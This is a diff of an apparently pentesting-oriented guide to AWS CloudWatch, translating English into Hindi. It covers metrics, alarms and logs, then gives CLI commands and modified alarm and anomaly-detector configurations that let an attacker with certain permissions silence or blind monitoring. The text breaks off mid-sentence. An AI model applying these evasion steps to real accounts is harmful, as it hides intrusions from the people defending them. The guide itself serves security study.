troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** **निगरानी** और संचालन **डेटा** को लॉग/मेट्रिक्स/इवेंट के रूप में एकत्र करता है, जो **AWS संसाधनों**, अनुप्रयोगों और सेवाओं का **एकीकृत दृश्य** प्रदान करता है।\ +CloudWatch लॉग इवेंट में **प्रत्येक लॉग लाइन पर 256KB का आकार सीमा** होती है।\ +यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य में ला सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है। -You can monitor for example logs from CloudTrail. Events that are monitored: +आप उदाहरण के लिए CloudTrail से लॉग की निगरानी कर सकते हैं। जिन घटनाओं की निगरानी की जाती है: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- सुरक्षा समूहों और NACL में परिवर्तन +- EC2 उदाहरणों को प्रारंभ करना, रोकना, पुनरारंभ करना और समाप्त करना +- IAM और S3 के भीतर सुरक्षा नीतियों में परिवर्तन +- AWS प्रबंधन कंसोल में असफल लॉगिन प्रयास +- API कॉल जो असफल प्राधिकरण में परिणत हुई +- CloudWatch में खोजने के लिए फ़िल्टर: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## Key concepts ### Namespaces -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +एक नामस्थान CloudWatch मेट्रिक्स के लिए एक कंटेनर है। यह मेट्रिक्स को वर्गीकृत और अलग करने में मदद करता है, जिससे उन्हें प्रबंधित और विश्लेषण करना आसान हो जाता है। -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **उदाहरण**: EC2-संबंधित मेट्रिक्स के लिए AWS/EC2, RDS मेट्रिक्स के लिए AWS/RDS। ### Metrics -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरणों से एकत्र किया जा सकता है। -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **उदाहरण**: CPUUtilization, NetworkIn, DiskReadOps। ### Dimensions -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Dimensions मेट्रिक्स का हिस्सा होते हैं जो कुंजी-मूल्य जोड़े होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, 30 सबसे अधिक संख्या है जो एक मेट्रिक के साथ जुड़ी हो सकती है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं। -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **उदाहरण**: EC2 उदाहरणों के लिए, dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं। ### Statistics -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य सांख्यिकी में औसत, योग, न्यूनतम, अधिकतम, और SampleCount शामिल हैं। -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **उदाहरण**: एक घंटे की अवधि में औसत CPU उपयोग की गणना करना। ### Units -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य यूनिट्स में प्रतिशत, बाइट्स, सेकंड, गिनती शामिल हैं। -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **उदाहरण**: CPUUtilization को प्रतिशत में मापा जा सकता है, जबकि NetworkIn को बाइट्स में मापा जा सकता है। ## CloudWatch Features ### Dashboard -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**CloudWatch डैशबोर्ड** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य में देखने और संसाधनों की निगरानी करने के लिए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है, विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करना। -**Key Features**: +**मुख्य विशेषताएँ**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **विजेट्स**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं। +- **अनुकूलन**: लेआउट और सामग्री को विशिष्ट निगरानी आवश्यकताओं के अनुसार अनुकूलित किया जा सकता है। -**Example Use Case**: +**उदाहरण उपयोग मामला**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- आपके पूरे AWS वातावरण के लिए प्रमुख मेट्रिक्स दिखाने वाला एकल डैशबोर्ड, जिसमें EC2 उदाहरण, RDS डेटाबेस, और S3 बकेट शामिल हैं। ### Metric Stream and Metric Data -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में अपने पसंद के गंतव्य पर CloudWatch मेट्रिक्स को निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है। -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु विभिन्न मेट्रिक्स जैसे CPU उपयोग, मेमोरी उपयोग, आदि का प्रतिनिधित्व करते हैं, AWS संसाधनों के लिए। -**Example Use Case**: +**उदाहरण उपयोग मामला**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- उन्नत विश्लेषण के लिए एक तृतीय-पक्ष निगरानी सेवा को वास्तविक समय के मेट्रिक्स भेजना। +- दीर्घकालिक भंडारण और अनुपालन के लिए एक Amazon S3 बकेट में मेट्रिक्स का संग्रहण करना। ### Alarm -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**CloudWatch अलार्म** आपके मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब कोई मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना। -**Key Components**: +**मुख्य घटक**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **थ्रेशोल्ड**: वह मान जिस पर अलार्म सक्रिय होता है। +- **मूल्यांकन अवधि**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है। +- **अलार्म के लिए डेटा बिंदु**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या। +- **क्रियाएँ**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)। -**Example Use Case**: +**उदाहरण उपयोग मामला**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- EC2 उदाहरण CPU उपयोग की निगरानी करना और यदि यह 5 लगातार मिनटों के लिए 80% से अधिक हो जाता है तो SNS के माध्यम से एक सूचना भेजना। ### Anomaly Detectors -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपके मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है। -**Key Components**: +**मुख्य घटक**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **मॉडल प्रशिक्षण**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है। +- **विसंगति पहचान बैंड**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व। -**Example Use Case**: +**उदाहरण उपयोग मामला**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- EC2 उदाहरण में असामान्य CPU उपयोग पैटर्न का पता लगाना जो सुरक्षा उल्लंघन या अनुप्रयोग समस्या का संकेत दे सकता है। ### Insight Rules and Managed Insight Rules -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Insight Rules** आपको अपने मेट्रिक डेटा में रुझानों की पहचान करने, स्पाइक्स का पता लगाने, या अन्य रुचि के पैटर्न को पहचानने की अनुमति देते हैं, **शक्तिशाली गणितीय अभिव्यक्तियों** का उपयोग करके उन स्थितियों को परिभाषित करते हैं जिनके तहत क्रियाएँ की जानी चाहिए। ये नियम आपको अपने संसाधन प्रदर्शन और उपयोग में विसंगतियों या असामान्य व्यवहार की पहचान करने में मदद कर सकते हैं। -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। ये विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किए गए हैं और बिना विस्तृत कॉन्फ़िगरेशन की आवश्यकता के सक्षम किए जा सकते हैं। -**Example Use Case**: +**उदाहरण उपयोग मामला**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- RDS प्रदर्शन की निगरानी: Amazon RDS के लिए एक प्रबंधित अंतर्दृष्टि नियम सक्षम करें जो CPU उपयोग, मेमोरी उपयोग, और डिस्क I/O जैसे प्रमुख प्रदर्शन संकेतकों की निगरानी करता है। यदि इनमें से कोई भी मेट्रिक सुरक्षित संचालन थ्रेशोल्ड को पार करता है, तो नियम एक अलर्ट या स्वचालित शमन क्रिया को सक्रिय कर सकता है। ### CloudWatch Logs -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +अनुप्रयोगों और सिस्टमों से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है। -**Elements**: +**तत्व**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **लॉग समूह** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **लॉग स्ट्रीम** | एक **लॉग इवेंट्स** का अनुक्रम जो **समान स्रोत** साझा करता है | +| **सदस्यता फ़िल्टर** | एक **फ़िल्टर पैटर्न परिभाषित करें जो घटनाओं से मेल खाता है** एक विशेष लॉग समूह में, उन्हें Kinesis डेटा फायरहोज़ स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें | ### CloudWatch Monitoring & Events -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **बुनियादी** डेटा को **हर 5 मिनट** में एकत्र करता है (**विस्तृत** वाला **हर 1 मिनट** में ऐसा करता है)। एकत्रण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\ +इस मामले में, CloudWatch एक इवेंट भेजने और कुछ स्वचालित क्रियाएँ करने के लिए तैयार हो सकता है (AWS लैंब्डा फ़ंक्शन, SNS विषय, SQS कतारें, Kinesis स्ट्रीम) ### Agent Installation -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch पर वापस भेजा जा सके। -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **एक** **भूमिका** बनाएं और **इंस्टेंस** से संलग्न करें जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने की अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने की अनुमति हो (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **एजेंट** को EC2 उदाहरण पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करके। +- CloudWatch एजेंट को **कॉन्फ़िगर** और **शुरू करें**। -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. +एक लॉग समूह में कई स्ट्रीम होती हैं। एक स्ट्रीम में कई इवेंट होते हैं। और प्रत्येक स्ट्रीम के भीतर, इवेंट क्रम में होने की गारंटी होती है। ## Enumeration - ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर प्रशासकों को झूठे अलर्ट के साथ गुमराह कर सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रिया को रोक सकता है। +इसके अलावा, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं। ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` - The following example shows how to make a metric alarm ineffective: -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- यह मेट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, हर 300 सेकंड में मेट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों की आवश्यकता होती है (कुल 30 मिनट)। यदि औसत CPU उपयोग इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाता है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा। +- थ्रेशोल्ड को 99% से अधिक, पीरियड को 10 सेकंड, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है), और डाटापॉइंट्स को अलार्म के लिए 8640 पर सेट करके, CPU उपयोग को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके। {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="संशोधित मैट्रिक अलार्म" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना। ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +अलार्म क्रियाओं को हटाकर, हमलावर महत्वपूर्ण अलर्ट और स्वचालित प्रतिक्रियाओं को रोक सकता है जब अलार्म स्थिति प्राप्त होती है, जैसे कि प्रशासकों को सूचित करना या ऑटो-स्केलिंग गतिविधियों को सक्रिय करना। अनुचित रूप से अलार्म क्रियाओं को सक्षम या पुनः सक्षम करना भी अप्रत्याशित व्यवहार का कारण बन सकता है, या तो पहले से अक्षम की गई क्रियाओं को फिर से सक्रिय करके या यह संशोधित करके कि कौन सी क्रियाएँ सक्रिय होती हैं, संभावित रूप से घटना प्रतिक्रिया में भ्रम और गलत दिशा का कारण बनता है। -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +इसके अतिरिक्त, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्म को चुप करा सके। +- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन भी किया जाता है। ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान चूकना। ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकेगा। मौजूदा विसंगति डिटेक्टरों को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या गलत सकारात्मक बनाने में सक्षम होगा। ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को कैसे अप्रभावी बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 उदाहरण के औसत CPU उपयोग की निगरानी करता है, और बस “ExcludedTimeRanges” पैरामीटर को वांछित समय सीमा के साथ जोड़ने से, यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है। {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="संशोधित मैट्रिक विसंगति डिटेक्टर" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**संभावित प्रभाव**: असामान्य पैटर्न या सुरक्षा खतरों की पहचान पर प्रत्यक्ष प्रभाव। ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +एक हमलावर 